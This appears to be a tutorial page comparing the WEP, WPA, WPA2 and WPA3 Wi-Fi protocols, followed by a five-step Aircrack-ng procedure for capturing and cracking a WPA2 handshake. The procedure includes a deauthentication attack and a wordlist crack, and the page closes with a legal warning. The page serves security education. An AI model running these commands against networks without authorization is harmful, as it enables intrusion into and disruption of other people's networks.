Wi-Fi Security Protocols

Protocol

Encryption

Vulnerability

Status

WEP

RC4 (40-bit)

Easily cracked in minutes

Obsolete — Never use

WPA

TKIP

Dictionary attacks possible

Deprecated

WPA2

AES-CCMP

Handshake capture + crack

Current Standard

WPA3

SAE

Resistant to dictionary attacks

Recommended

 

Aircrack-ng Suite — WPA2 Attack Steps

  1. Put wireless adapter in monitor mode: airmon-ng start wlan0
  2. Scan for networks: airodump-ng wlan0mon
  3. Capture handshake: airodump-ng -c <ch> –bssid <AP_MAC> -w capture wlan0mon
  4. Deauthenticate a client to force reconnect: aireplay-ng –deauth 10 -a <AP> wlan0mon
  5. Crack the handshake: aircrack-ng -w rockyou.txt capture.cap

 

⚠️ Legal Warning: Only perform wireless attacks on networks you own or have explicit written permission to test. Attacking neighbors’ Wi-Fi is illegal under Section 66 of the IT Act and carries serious penalties.
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